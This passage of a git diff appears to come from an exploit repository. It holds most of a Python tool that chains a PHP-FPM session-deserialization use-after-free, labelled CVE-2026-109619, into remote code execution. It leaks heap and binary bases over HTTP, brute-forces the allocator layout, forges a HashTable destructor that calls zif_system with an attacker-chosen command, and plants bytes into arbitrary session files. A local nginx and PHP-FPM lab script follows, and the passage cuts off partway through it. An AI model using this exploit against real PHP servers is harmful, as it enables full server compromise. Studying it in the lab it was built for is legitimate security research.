hex(LEAK_READ_LEN), + "chunk_ptr_off": hex(chunk_off), + "chunk_base_off": hex(chunk_ptr - chunk), + "pie_ptr_off": None, # set once a pointer proves its base + "pie_base_off": None, # ditto + "bases": "discovered over HTTP with the calibrate command " + "(no /proc access)", + } + print(f"[+] leak geometry pads={pads} size={size} " + f"header=0x{header:x}: chunk_ptr_off=0x{chunk_off:x}, " + f"{len(stable_pie)} stable PIE-range pointers") + yield geometry, chunk_ptr, stable_pie + + +def _local_bases(version: str) -> tuple[int, int]: + """PIE base and Zend-MM chunk base from /proc//maps only. + + This deliberately does not open /proc//mem: it is the local-lab + fallback for the memory oracle (maps + the profile symbol offset). + Remote targets use leak_bases_http() instead. + """ + pid = find_pool_worker(version, "chain") + if pid is None: + raise RuntimeError(f"no php-fpm 'chain' worker for {version}") + exe = os.readlink(f"/proc/{pid}/exe") + pie = None + chunk = None + with open(f"/proc/{pid}/maps", encoding="utf-8") as handle: + for line in handle: + parts = line.split() + start_s, end_s = parts[0].split("-") + start, end = int(start_s, 16), int(end_s, 16) + if (len(parts) >= 6 and parts[-1] == exe + and (pie is None or start < pie)): + pie = start + if chunk is None and "rw-p" in parts[1] and end - start >= MEM_CHUNK: + base = (start + MEM_CHUNK - 1) & ~(MEM_CHUNK - 1) + if base + MEM_CHUNK <= end: + chunk = base + if pie is None or chunk is None: + raise RuntimeError("could not derive PIE/chunk bases from maps") + return pie, chunk + + +def cmd_leak(args) -> int: + """Leak the chunk and PIE bases over HTTP and print them.""" + try: + pie, chunk = leak_bases_http(args.base, args.builder, args.version, + getattr(args, "arm_path", None)) + except (OSError, RuntimeError) as exc: + print(f"[!] {exc}") + return 1 + print(f"[+] chunk=0x{chunk:x} pie=0x{pie:x}") + return 0 + + +def cmd_no_oracle(args) -> int: + """HTTP-only endgame: no /proc//mem reads at exploit time. + + The absolute heap/PIE bases are stable for the lifetime of the FPM + master (workers are forked from it). They are leaked over HTTP, or + supplied with --chunk/--pie. This mode never uses /proc unless the + explicit --allow-local-fallback lab flag is set; a failed HTTP leak is + an error for a remote target. The reclaim geometry is normalized with + one throw-away pads+big request to a 404 endpoint (same allocation shape + as _probe_cover, no scanning), then the (d-offset, content-offset) pair + is brute-forced over the two slots and their possible cover offsets. + """ + pie = getattr(args, "pie", 0) + chunk = getattr(args, "chunk", 0) + if not chunk or not pie: + try: + pie, chunk = leak_bases_http(args.base, args.builder, args.version, + getattr(args, "arm_path", None)) + print("[*] bases from HTTP stale-string leak: " + f"pie=0x{pie:x} chunk=0x{chunk:x}") + except (OSError, RuntimeError) as exc: + print(f"[!] HTTP leak failed: {exc}") + if not getattr(args, "allow_local_fallback", False): + print("[!] strict remote mode: refusing local /proc fallback") + print(" retry the leak, or pass --chunk/--pie " + "(stable for the FPM master lifetime)") + return 1 + try: + pie, chunk = _local_bases(args.version) + except (OSError, RuntimeError) as local_exc: + print(f"[!] cannot auto-detect bases locally: {local_exc}") + print(" pass --chunk/--pie (stable for the FPM master lifetime)") + return 1 + print("[*] bases from /proc//maps (no /proc//mem): " + f"pie=0x{pie:x} chunk=0x{chunk:x}") + zif = pie + _zif_offset(args.version) + size, candidates, pads = _no_oracle_geometry(args.version) + if getattr(args, "reclaim_pads", None): + pads = [int(x) for x in args.reclaim_pads] + if getattr(args, "reclaim_size", 0): + size = int(args.reclaim_size) + if getattr(args, "candidates", None): + candidates = [(int(c[0], 0) if isinstance(c[0], str) else int(c[0]), + int(c[1], 0) if isinstance(c[1], str) else int(c[1])) + for c in args.candidates] + layout = _layout(args.version) + command = args.command.encode("latin1") + if not command or b"\x00" in command: + print("[!] command must be non-empty and contain no NUL bytes") + return 1 + if len(command) > 0x57: + print(f"[!] command too long ({len(command)} > 87 bytes)") + return 1 + proof = (args.proof_file or "out/p1").lstrip("/") + base = Target(args.base) + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) + builder = Target(args.builder) + local_proof = os.path.join(LAB, "webroot", proof) + + print(f"[*] no-oracle: chunk=0x{chunk:x} pie=0x{pie:x} zif=0x{zif:x}") + tries = int(getattr(args, "tries", 8)) + for attempt in range(tries): + d_off, k = candidates[attempt % len(candidates)] + d = chunk + d_off + with contextlib.suppress(OSError): + os.remove(local_proof) + # arm #1, then normalize the post-arm heap with a pads+big request + # that has the same allocation shape as the calibrated probe. + big_session_post(builder, OOM_SID, args.size) + producer_get(base, OOM_SID) + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": b"\x00" * size}) + chain404.post_multipart(parts, b"NORACLE0", timeout=120.0) + # rebuild the ref session and re-arm + ref_session_post(builder, REF_SID) + big_session_post(builder, OOM_SID, args.size) + producer_get(base, OOM_SID) + forged = _build_endgame_payload(d, k, size, zif, command, layout) + status, _h, _b = _consume_b(chainapp, forged, pads) + print(f"[*] attempt {attempt}: d=0x{d:x} k=0x{k:x} status={status}") + for _ in range(6): + time.sleep(0.5) + pstatus, _ph, pbody = base.get("/" + proof) + if pstatus == 200 and pbody: + print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") + return 0 + print(" no proof, retrying") + print(f"[!] no proof at /{proof}") + return 1 + + +def _wide_grid(version: str, start: int = 0x60000, end: int = 0xA0000, + step: int = 0x800) -> list[tuple[int, int]]: + """Every plausible slot of the chunk with the two common cover offsets. + + A build whose allocator places the recycled slot somewhere the small + grids never look still gets a chance: the low half of the 2 MB Zend-MM + chunk is scanned at 2 KB steps. The band where the request heap has put + the slot on every version so far is tried first, so the automatic search + usually finishes within a few dozen attempts. + """ + grid: list[tuple[int, int]] = [] + _size, candidates, _pads = _no_oracle_geometry(version) + for slot in candidates: + pair = (int(slot[0]), int(slot[1])) + if pair not in grid: + grid.append(pair) + + def band(low: int, high: int) -> None: + for slot in range(low, high, step): + for offset in (0xFE8, 0x1FE8): + pair = (slot, offset) + if pair not in grid: + grid.append(pair) + + band(0x78000, 0x88000) # observed on 8.2/8.4 builds + band(start, 0x78000) + band(0x88000, end) + return grid + + +def _remote_arm_and_normalize(base: str, builder: str, size: int, + pads: list[int], normalize: int) -> None: + """Arm the stale state and normalize the heap with one pads+big request. + + Same shape as the endgame consume: build the 4 MB session, fire the + producer, throw one pads+big request at a 404 endpoint so the heap + looks the same on every attempt, then rebuild the reference session and + re-arm. + """ + chain = Target(base) + chain404 = Target(base + PATHS["probe"]) + builder_t = Target(builder) + big_session_post(builder_t, OOM_SID, 4 << 20) + producer_get(chain, OOM_SID) + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": b"\x00" * normalize}) + chain404.post_multipart(parts, b"RMTNORM1", timeout=120.0) + ref_session_post(builder_t, REF_SID) + big_session_post(builder_t, OOM_SID, 4 << 20) + producer_get(chain, OOM_SID) + + +def _remote_primitive(base: str, builder: str, version: str, chunk: int, + d_off: int, k: int, size: int, pads: list[int], + value: int = 1337337) -> bool: + """Consume with a forged IS_LONG zval and look for it in the response. + + The primitive needs no PIE base, which makes it the right probe for the + reclaim geometry of an unknown build: it is a pure HTTP round trip whose + answer tells whether the forged var_hash was picked up. + """ + chainapp = Target(base + PATHS["app"]) + layout = _layout(version) + _remote_arm_and_normalize(base, builder, size, pads, size) + forged = _build_primitive_payload(chunk + d_off, k, size, value, layout) + _status, _headers, body = _consume_b(chainapp, forged, pads) + return str(value).encode() in body + + +def cmd_calibrate(args) -> int: + """Full remote calibration of a build (HTTP requests only). + + Three phases, none of them reading /proc: + + 1. leak geometry: where the forged zend_string header has to sit and + which offsets carry the chunk/PIE pointers (``calibrate_leak_remote``); + 2. reclaim geometry: which (chunk offset, content offset) pair makes a + forged zval observable through app.php (the primitive needs no PIE + base, so it isolates the heap geometry); + 3. PIE base: the leaked pointer is rounded down to 2 MB boundaries and + each candidate is validated with a remote endgame until the proof + file appears. + + The result is written into profiles/-fpm.json, so afterwards + ``no-oracle`` works against the same build with no further calibration. + """ + version = args.version + print(f"[*] remote calibration of PHP {version}") + + # ---- phase 1: leak geometries --------------------------------------- + geometries = list(leak_geometry_candidates(args.base, args.builder, version)) + if not geometries: + print("[!] no leak geometry found over HTTP") + return 1 + chunk_ptr = geometries[0][1] + chunk = chunk_ptr & ~(MEM_CHUNK - 1) + + # ---- phase 2: reclaim geometry via the remote primitive -------------- + _size, candidates, pads = _no_oracle_geometry(version) + if getattr(args, "reclaim_pads", None): + pads = [int(x) for x in args.reclaim_pads] + reclaim_size = int(getattr(args, "reclaim_size", 0) or _size) + shapes = [(list(pads), reclaim_size)] + for alt_pads, alt_size in (([4096, 4096, 4096], 12288), + ([4096], 16384), + ([8192, 4096], 16384), + ([4096, 4096], 24576), + ([32768], 16384), + ([4096, 4096], 32768)): + if (alt_pads, alt_size) not in shapes: + shapes.append((alt_pads, alt_size)) + grid = [(int(c[0]), int(c[1])) for c in candidates] + for pair in _wide_grid(version): + if pair not in grid: + grid.append(pair) + winners: list[tuple[int, int]] = [] + used_shape: list[int] | None = None + used_size = reclaim_size + for shape_pads, shape_size in shapes: + print(f"[*] probing pads={shape_pads} size={shape_size} " + f"({len(grid)} pairs)") + extra = 24 + for d_off, k in grid[:int(args.attempts)]: + if k + 0x900 > shape_size: + continue # the forged objects would not fit the buffer + try: + hit = _remote_primitive(args.base, args.builder, version, chunk, + d_off, k, shape_size, shape_pads) + except (OSError, RuntimeError, TimeoutError) as exc: + print(f" 0x{d_off:x}/0x{k:x}: {exc}") + continue + print(f" 0x{d_off:x}/0x{k:x}: " + f"{'observable' if hit else 'not observable'}") + if hit: + winners.append((d_off, k)) + used_shape, used_size = list(shape_pads), shape_size + # the 8 KB slot recycles between two addresses, so a bounded + # number of extra pairs is probed for the second one; the + # endgame cycles through whatever was found + extra -= 1 + if len(winners) >= 4 or extra <= 0: + break + if winners: + break + if not winners: + print("[!] no reclaim candidate is observable over HTTP") + return 1 + pads, reclaim_size = used_shape or pads, used_size + print(f"[*] reclaim candidates: " + f"{', '.join(f'0x{d:x}/0x{k:x}' for d, k in winners)}") + + # ---- phase 3: PIE base via the remote endgame ------------------------ + proof = (args.proof_file or "out/calib").lstrip("/") + local_proof = os.path.join(LAB, "webroot", proof) + zif_off = _zif_offset(version) + # The r-x mapping of a PHP build starts one 2MB page into the binary and + # holds a few MB of code, so only pointers that can sit inside it are + # worth a base candidate: stale heap values (which are stable across two + # reads as well) are skipped without spending a request on them. When a + # geometry carries no code pointer at all the next geometry is tried, + # because the OOB read has to actually span the handler table. + code_low, code_high = PIE_CODE_WINDOW + pie = None + geometry = None + chosen: tuple[int, int] | None = None + budget = int(getattr(args, "budget", 160)) + for candidate_geometry, geometry_chunk, pie_pointers in geometries: + geometry_chunk &= ~(MEM_CHUNK - 1) + for pie_off, pie_ptr in pie_pointers: + aligned = pie_ptr & ~(MEM_CHUNK - 1) + for steps in range(0, 6): + candidate = aligned - steps * MEM_CHUNK + if candidate <= 0: + break + offset = pie_ptr - candidate + if offset >= code_high: + break # further steps only push it out of the code + if offset < code_low: + continue # the base is still too high + if budget <= 0: + break + budget -= 1 + with contextlib.suppress(OSError): + os.remove(local_proof) + print(f"[*] PIE candidate ptr=0x{pie_ptr:x} " + f"@leak+0x{pie_off:x} base=0x{candidate:x} " + f"(zif=0x{candidate + zif_off:x})") + attempt = argparse.Namespace(**vars(args)) + attempt.chunk, attempt.pie = geometry_chunk, candidate + attempt.candidates = list(winners) + attempt.proof_file = proof + attempt.command = f"id>{proof}" + attempt.reclaim_pads, attempt.reclaim_size = pads, reclaim_size + attempt.tries = max(4, 2 * len(winners)) + if cmd_no_oracle(attempt) == 0: + pie, geometry = candidate, candidate_geometry + chosen = (pie_off, pie_ptr) + chunk = geometry_chunk + break + if pie is not None: + break + if pie is not None: + break + if pie is None or geometry is None or chosen is None: + print("[!] no PIE base candidate produced a proof") + return 1 + geometry["pie_ptr_off"] = hex(chosen[0]) + geometry["pie_base_off"] = hex(chosen[1] - pie) + zif = pie + zif_off + print(f"[+] remote calibration solved: chunk=0x{chunk:x} pie=0x{pie:x} " + f"zif=0x{zif:x}") + + if not getattr(args, "update_profile", True): + return 0 + + # ---- persist --------------------------------------------------------- + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + profile = json.load(handle) + profile["fpm"]["leak"] = geometry + profile["fpm"]["no_oracle"]["candidates"] = [ + {"d_off": hex(d_off), "k": hex(k)} for d_off, k in winners] + profile["fpm"]["no_oracle"]["reclaim_pads"] = list(pads) + profile["fpm"]["no_oracle"]["reclaim_size"] = reclaim_size + profile["fpm"]["reclaim_pads"] = list(pads) + profile["fpm"]["reclaim_size"] = reclaim_size + profile["fpm"]["no_oracle"]["bases"] = ( + "chunk from the 2MB-aligned leaked pointer, PIE base validated " + "with a remote endgame; both stable for the FPM master lifetime") + profile["verified"] = True + profile["rce"] = True + profile["status"] = ( + f"RCE verified over HTTP only (no /proc access): the stale-string " + f"leak recovered chunk=0x{chunk:x} and the PIE base 0x{pie:x} " + f"(leak+{geometry['pie_ptr_off']} -> {geometry['pie_base_off']}); " + f"the primitive at " + f"{', '.join(f'0x{d:x}/0x{k:x}' for d, k in winners)} was " + f"observable through app.php and the forged HashTable destructor " + f"executed zif_system (proof: out/{proof}).") + with open(path, "w", encoding="utf-8") as handle: + json.dump(profile, handle, indent=2) + handle.write("\n") + print(f"[+] profile updated: {path}") + except (OSError, KeyError, TypeError, ValueError) as exc: + print(f"[!] could not update the profile: {exc}") + return 1 + return 0 + + +def cmd_poison(args) -> int: + """Plant chosen bytes into a chosen session file (upload-progress logic). + + The ``MULTIPART_EVENT_FORMDATA`` handler copies the session id straight + from the POST body without consulting ``session.use_only_cookies``, and + ``MULTIPART_EVENT_FILE_START`` then installs it as ``PS(id)``. The + progress data -- which carries the upload filename -- is therefore + written to ``sess_`` of the attacker's choice, and the builder pool + keeps it because ``session.upload_progress.cleanup=Off``. + + This is the chain that applies to every version with + ``session.upload_progress`` enabled, including PHP <= 7.x where the + struct-freeing chain of this repository does not apply (no + ``php_session_cancel_decode``). It is pure HTTP: the planted bytes are + read back through the application, which deserializes the session and + reflects its contents. Turning the plant into RCE additionally needs an + application gadget or a local file include; core PHP only gives the + arbitrary session-file write. + """ + sid = args.sid.encode("latin1") + if not sid: + print("[!] --sid is required") + return 1 + payload = args.payload.encode("latin1") + progress_key = (getattr(args, "progress_key", None) or "pwn").encode("latin1") + builder = Target(args.builder) + app = Target(args.base + PATHS["app"]) + + parts = [ + # POST-body session id: fixes which file the progress data lands in + {"name": PATHS["cookie"], "data": sid}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": progress_key}, + # the filename is the byte string planted into that file + {"name": "f", "filename": payload, "data": b"x" * 8}, + ] + status, _headers, _body = builder.post_multipart(parts, b"POISON001", + timeout=180.0) + print(f"[*] plant status={status} sid={sid.decode('latin1')!r} " + f"payload={payload[:60]!r}") + + path = session_file(args.version, sid) + on_disk = b"" + if os.path.isfile(path): + with open(path, "rb") as handle: + on_disk = handle.read() + print(f"[*] session file {path} ({len(on_disk)} bytes)") + + # read it back through the application over HTTP + _status, _headers, body = app.get(PATHS["app"], cookie=_cookie(sid)) + planted = payload in body + print(f"[*] application reflects the session: " + f"{'YES' if planted else 'no'}") + if planted: + index = body.find(payload) + print(f" ...{body[max(0, index - 40):index + len(payload) + 8]!r}") + ok = planted or (payload in on_disk) + print(f"[+] plant {'VERIFIED' if ok else 'FAILED'}") + return 0 if ok else 1 + + +def cmd_chain(args) -> int: + print(f"[*] chain: build sessions -> producer -> consumer ({args.phase} phase)") + builder = Target(args.builder) + if not os.path.isfile(session_file(args.version, OOM_SID)): + print("[*] build-oom") + big_session_post(builder, OOM_SID, 4 << 20) + if not os.path.isfile(session_file(args.version, REF_SID)): + print("[*] build-ref") + ref_session_post(builder, REF_SID) + chain = Target(args.base) + status, body = producer_get(chain, OOM_SID) + print(f"[*] producer status={status} body={body[:80]!r}") + oracle = Oracle(args.version) + d = oracle.unserialize_data() + print(f"[*] BG.data=0x{d:x} level={oracle.unserialize_level()}") + if args.phase == "primitive": + return cmd_primitive(args) + if args.phase == "endgame": + return cmd_endgame(args) + return 0 + + +def cmd_patchcheck(args) -> int: + versions = ["8.4.26", "8.4.27"] + ports = {"8.4.26": (8110, 8111), "8.4.27": (8120, 8121)} + for version in versions: + base = f"http://127.0.0.1:{ports[version][0]}" + builder_url = f"http://127.0.0.1:{ports[version][1]}" + print(f"\n=== {version} ===") + chain_t = Target(base) + builder = Target(builder_url) + if not os.path.isfile(session_file(version, OOM_SID)): + big_session_post(builder, OOM_SID, 4 << 20) + # lifecycle + worker = find_pool_worker(version, "chain") + status, body = producer_get(chain_t, OOM_SID) + time.sleep(0.2) + worker2 = find_pool_worker(version, "chain") + print(f"producer status={status} worker {worker}->{worker2} " + f"({'DIED' if worker != worker2 else 'survived'})") + try: + oracle = Oracle(version) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + print(f"BG.data=0x{d:x} level={level} " + f"{'STALE-ARMED' if d and level == 1 else 'clean'}") + except RuntimeError as exc: + print(f"oracle: {exc}") + print("\n[*] expected: 8.4.26 STALE-ARMED, 8.4.27 clean " + "(php_basic_early_rinit memsets BG before body parse)") + return 0 + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[1]) + parser.add_argument("--base", default="http://127.0.0.1:8110") + parser.add_argument("--builder", default="http://127.0.0.1:8111") + parser.add_argument("--version", default="8.4.26") + parser.add_argument("--sid", default=OOM_SID.decode()) + parser.add_argument("--size", type=int, default=4 << 20) + parser.add_argument("--value", type=int, default=424242) + parser.add_argument("--pad", type=int, default=0) + parser.add_argument("--sweep", default=None, + help="comma-separated pad sizes for reclaim-probe") + parser.add_argument("--oracle", action="store_true") + parser.add_argument("--phase", choices=("probe", "primitive", "endgame"), + default="primitive") + parser.add_argument("--command", default="id>out/p1") + parser.add_argument("--proof-file", default="out/p1") + parser.add_argument("--chunk", type=lambda x: int(x, 0), default=0) + parser.add_argument("--pie", type=lambda x: int(x, 0), default=0) + parser.add_argument("--app-path", default=None, + help="session application operation path (default /app.php)") + parser.add_argument("--arm-path", default=None, + help="stale-session arm path (default profile or /bigvar.php)") + parser.add_argument("--ref-path", default=None, + help="reference-bearing session builder path (default /ref.php)") + parser.add_argument("--probe-path", default=None, + help="404/no-op path used for reclaim probes (default /nope.php)") + parser.add_argument("--session-cookie", default=None, + help="session cookie name (default PHPSESSID)") + sub = parser.add_subparsers(dest="cmd", required=True) + for name in ("lifecycle", "oracle", "build-oom", "build-ref", "producer", + "reclaim-probe", "primitive", "endgame", "chain", "patchcheck", + "leak", "no-oracle", "calibrate", "poison"): + subparser = sub.add_parser(name) + if name == "no-oracle": + subparser.add_argument( + "--allow-local-fallback", action="store_true", + help="allow /proc//maps if the HTTP leak fails (lab only)") + subparser.add_argument( + "--candidates", action="append", default=None, + metavar="D_OFF,K", + help="override the (d_off,k) reclaim candidates, e.g. 0x81000,0xfe8") + if name == "calibrate": + subparser.add_argument( + "--attempts", type=int, default=250, + help="maximum (d_off,k) pairs tried while searching the " + "reclaim geometry") + subparser.add_argument( + "--proof-file", default="out/calib", + help="remote proof file used to validate the PIE base") + subparser.add_argument( + "--no-update-profile", dest="update_profile", + action="store_false", + help="report the geometry without writing the profile") + if name == "poison": + subparser.add_argument("--sid", required=True, + help="session id whose file is written") + subparser.add_argument("--payload", required=True, + help="bytes planted as the upload filename") + subparser.add_argument("--progress-key", default=None, + help="PHP_SESSION_UPLOAD_PROGRESS value") + args = parser.parse_args() + configure_paths(args) + # PHP <= 7.x never frees the unserialize struct on the OOM bailout (no + # php_session_cancel_decode), so there is nothing for these commands to + # reclaim: use 'poison' against those builds. + if args.cmd in ("leak", "primitive", "endgame", "chain", "calibrate", + "no-oracle") and not registry.chain_applies(args.version): + print(f"[!] {args.cmd} needs PHP >= 8.0: on PHP <= 7.x the bailout " + f"never frees the unserialize struct.") + print(" Use 'poison' (session-file plant) against those builds.") + return 1 + if getattr(args, "candidates", None): + pairs = [] + for item in args.candidates: + d_off, _, k = item.partition(",") + pairs.append((int(d_off, 0), int(k, 0))) + args.candidates = pairs + dispatch = { + "lifecycle": cmd_lifecycle, + "oracle": cmd_oracle, + "build-oom": cmd_build_oom, + "build-ref": cmd_build_ref, + "producer": cmd_producer, + "reclaim-probe": cmd_reclaim_probe, + "primitive": cmd_primitive, + "endgame": cmd_endgame, + "chain": cmd_chain, + "patchcheck": cmd_patchcheck, + "leak": cmd_leak, + "no-oracle": cmd_no_oracle, + "calibrate": cmd_calibrate, + "poison": cmd_poison, + } + return dispatch[args.cmd](args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_labs.py b/tools/php2shell_fpm_labs.py new file mode 100755 index 0000000..e1145a6 --- /dev/null +++ b/tools/php2shell_fpm_labs.py @@ -0,0 +1,527 @@ +#!/usr/bin/env python3 +""" +php2shell_fpm_labs.py — local nginx + PHP-FPM laboratory (no root, no docker). + +Every user-prefix build under lab/fpm/runtime/php-/ gets two HTTP +endpoints (chain + builder) and two FastCGI listeners. The documented +builds keep their published ports: + + 8.4.25 chain http :8130 -> fpm :9021 builder http :8131 -> fpm :9022 + 8.4.26 chain http :8110 -> fpm :9001 builder http :8111 -> fpm :9002 + 8.4.27 chain http :8120 -> fpm :9011 builder http :8121 -> fpm :9012 + +Any other build is assigned ports automatically (from :8140 / :9031 up) so +the whole affected version matrix can be calibrated in one lab. + +Pools (php-fpm.conf.in): + chain memory_limit=8M, cleanup=On, save_path=/session + builder memory_limit=64M, cleanup=Off (builds large session files) + +Commands: + python3 tools/php2shell_fpm_labs.py up [--only 8.4.26] + python3 tools/php2shell_fpm_labs.py status + python3 tools/php2shell_fpm_labs.py ports + python3 tools/php2shell_fpm_labs.py smoke + python3 tools/php2shell_fpm_labs.py test + python3 tools/php2shell_fpm_labs.py down +""" + +from __future__ import annotations + +import argparse +import contextlib +import os +import pwd +import signal +import socket +import subprocess +import sys +import time +import urllib.request + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +LAB = os.path.join(ROOT, "lab", "fpm") +RUNTIME = os.path.join(LAB, "runtime") +WEBROOT = os.path.join(LAB, "webroot") +OUTDIR = os.path.join(WEBROOT, "out") +NGINX_PREFIX = os.path.join(RUNTIME, "nginx") +NGINX_BIN = os.path.join(NGINX_PREFIX, "sbin", "nginx") +NGINX_CONF_DIR = os.path.join(NGINX_PREFIX, "conf") +NGINX_CONF = os.path.join(RUNTIME, "nginx.conf") +PHP_INI = os.path.join(LAB, "php.ini") +FPM_CONF_TMPL = os.path.join(LAB, "php-fpm.conf.in") +NGINX_CONF_TMPL = os.path.join(LAB, "nginx.conf.in") + +USER_NAME = pwd.getpwuid(os.getuid()).pw_name +GROUP_NAME = subprocess.run( + ["id", "-gn"], capture_output=True, text=True +).stdout.strip() or USER_NAME + +# The affected version matrix (CVE-2026-109619): every release of the +# patched branches up to (but excluding) the fixed one, plus the newest +# release of the end-of-life branches upstream never fixed (7.2, 7.4). +BRANCHES: tuple[tuple[str, int], ...] = ( + ("7.2", 34), + ("7.4", 33), + ("8.2", 34), + ("8.3", 35), + ("8.4", 26), +) + +# version -> (chain_http, builder_http, chain_fpm, builder_fpm) +# The documented builds keep their published ports; every other build gets +# ports assigned automatically so a whole version matrix fits in one lab. +PINNED_PORTS: dict[str, tuple[int, int, int, int]] = { + "8.4.25": (8130, 8131, 9021, 9022), + "8.4.26": (8110, 8111, 9001, 9002), + "8.4.27": (8120, 8121, 9011, 9012), + "8.2.35": (8140, 8141, 9031, 9032), + "8.3.36": (8150, 8151, 9041, 9042), +} +AUTO_HTTP_BASE = 8200 +AUTO_FPM_BASE = 9100 + + +def canonical_versions() -> list[str]: + """Every affected release, in a stable order (drives the port map).""" + versions = [] + for branch, last in BRANCHES: + for patch in range(0, last + 1): + versions.append(f"{branch}.{patch}") + return versions + + +def version_key(version: str) -> tuple[int, ...]: + try: + return tuple(int(part) for part in version.split(".")) + except ValueError: + return (0,) + + +def built_versions() -> list[str]: + """Versions with a php-fpm binary in the lab runtime.""" + if not os.path.isdir(RUNTIME): + return [] + versions = [] + for name in os.listdir(RUNTIME): + if not name.startswith("php-"): + continue + version = name[4:] + if os.path.isfile(os.path.join(RUNTIME, name, "sbin", "php-fpm")): + versions.append(version) + return sorted(versions, key=version_key) + + +def builds_map(versions: list[str] | None = None) -> dict[str, tuple[int, int, int, int]]: + """Port assignment for the given versions (all built ones by default). + + The ports only depend on the version, not on which other builds happen + to be present, so a lab started with a different subset still uses the + documented endpoints. + """ + versions = versions if versions is not None else built_versions() + slots = {version: index for index, version in enumerate(canonical_versions())} + result: dict[str, tuple[int, int, int, int]] = {} + for version in versions: + if version in PINNED_PORTS: + result[version] = PINNED_PORTS[version] + continue + index = slots.get(version) + if index is None: + # unknown version: park it after the canonical matrix + index = len(slots) + len(result) + chain_http = AUTO_HTTP_BASE + 2 * index + result[version] = (chain_http, chain_http + 1, + AUTO_FPM_BASE + 2 * index, AUTO_FPM_BASE + 2 * index + 1) + return result + + +BUILDS = builds_map() + + +def fpm_prefix(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def fpm_bin(version: str) -> str: + return os.path.join(fpm_prefix(version), "sbin", "php-fpm") + + +def render(template: str, mapping: dict[str, str]) -> str: + with open(template, encoding="utf-8") as handle: + text = handle.read() + for key, value in mapping.items(): + text = text.replace(f"@{key}@", value) + return text + + +def port_free(port: int) -> bool: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + sock.bind(("127.0.0.1", port)) + return True + except OSError: + return False + + +def read_pid(path: str) -> int | None: + try: + with open(path, encoding="utf-8") as handle: + pid = int(handle.read().strip()) + except (OSError, ValueError): + return None + try: + os.kill(pid, 0) + return pid + except OSError: + return None + + +def worker_pids(version: str, pool: str) -> list[int]: + marker = f"php-fpm: pool {pool}".encode() + needle = f"php-{version}".encode() + pids = [] + for name in os.listdir("/proc"): + if not name.isdigit(): + continue + try: + with open(f"/proc/{name}/cmdline", "rb") as handle: + data = handle.read() + if marker in data and needle in data + os.readlink(f"/proc/{name}/exe").encode(): + pids.append(int(name)) + except OSError: + continue + return pids + + +def ensure_dirs(version: str) -> None: + prefix = fpm_prefix(version) + for sub in ("logs", "session", "tmp"): + os.makedirs(os.path.join(prefix, sub), exist_ok=True) + os.makedirs(OUTDIR, exist_ok=True) + with contextlib.suppress(OSError): + os.chmod(os.path.join(prefix, "session"), 0o700) + + +def write_fpm_conf(version: str) -> str: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + rendered = render(FPM_CONF_TMPL, { + "RUNTIME": prefix, + "CHAIN_PORT": str(chain_fpm), + "BUILDER_PORT": str(builder_fpm), + "USER": USER_NAME, + "GROUP": GROUP_NAME, + "WEBROOT": WEBROOT, + "SAVEDIR": os.path.join(prefix, "session"), + "VER": version, + }) + # Directives the build's FPM does not know would fail the config test: + # decorate_workers_output only exists from PHP 7.3 on. A suffixed + # version (7.2.34-asan) is treated as its numeric part. + try: + numeric = tuple(int(part) for part in version.split(".")) + except ValueError: + numeric = tuple(int(part) if part.isdigit() else 99 + for part in version.split(".")) + if numeric < (7, 3, 0): + rendered = "\n".join( + line for line in rendered.splitlines() + if not line.startswith("decorate_workers_output")) + "\n" + path = os.path.join(prefix, "php-fpm.conf") + with open(path, "w", encoding="utf-8") as handle: + handle.write(rendered) + return path + + +def write_nginx_conf(versions: list[str]) -> None: + servers = [] + for version in versions: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + for label, http_port, fpm_port in ( + ("chain", chain_http, chain_fpm), + ("builder", builder_http, builder_fpm), + ): + servers.append(f""" +server {{ + listen 127.0.0.1:{http_port}; + server_name _; + root {WEBROOT}; + access_log {prefix}/logs/{label}-access.log; + + location /out/ {{ + root {WEBROOT}; + default_type text/plain; + add_header X-Lab-Static "1"; + }} + + location / {{ + include {NGINX_CONF_DIR}/fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_pass 127.0.0.1:{fpm_port}; + }} +}}""") + rendered = render(NGINX_CONF_TMPL, { + "RUNTIME": RUNTIME, + "NGINX_CONF": NGINX_CONF_DIR, + "SERVERS": "\n".join(servers), + }) + with open(NGINX_CONF, "w", encoding="utf-8") as handle: + handle.write(rendered) + + +def wait_http(url: str, timeout: float = 20.0) -> bool: + deadline = time.time() + timeout + while time.time() < deadline: + try: + with urllib.request.urlopen(url, timeout=2) as resp: + if resp.status == 200: + return True + except Exception: + time.sleep(0.3) + return False + + +def select(only: set[str] | None) -> list[str]: + """Versions to act on: the --only filter, or every built one.""" + builds = builds_map() + versions = [v for v in builds if only is None or v in only] + if only: + for version in sorted(only - set(builds)): + print(f"[!] {version}: not built; run lab/fpm/build_php.sh {version}") + return versions + + +def up(only: set[str] | None) -> None: + builds = builds_map() + versions = select(only) + if not versions: + print("[!] nothing to start") + return + for version in versions: + if not os.path.isfile(fpm_bin(version)): + print(f"[!] {version}: missing {fpm_bin(version)}; run lab/fpm/build_php.sh {version}") + return + if not os.path.isfile(NGINX_BIN): + print(f"[!] missing {NGINX_BIN}; run lab/fpm/build_nginx.sh") + return + for version in builds: + ensure_dirs(version) + for version in versions: + write_fpm_conf(version) + os.makedirs(os.path.join(RUNTIME, "logs"), exist_ok=True) + # only expose the versions that are running; a later `up --only` rewrites it + write_nginx_conf(versions) + + busy = [] + for version in versions: + for port in builds[version]: + if not port_free(port): + busy.append(port) + if 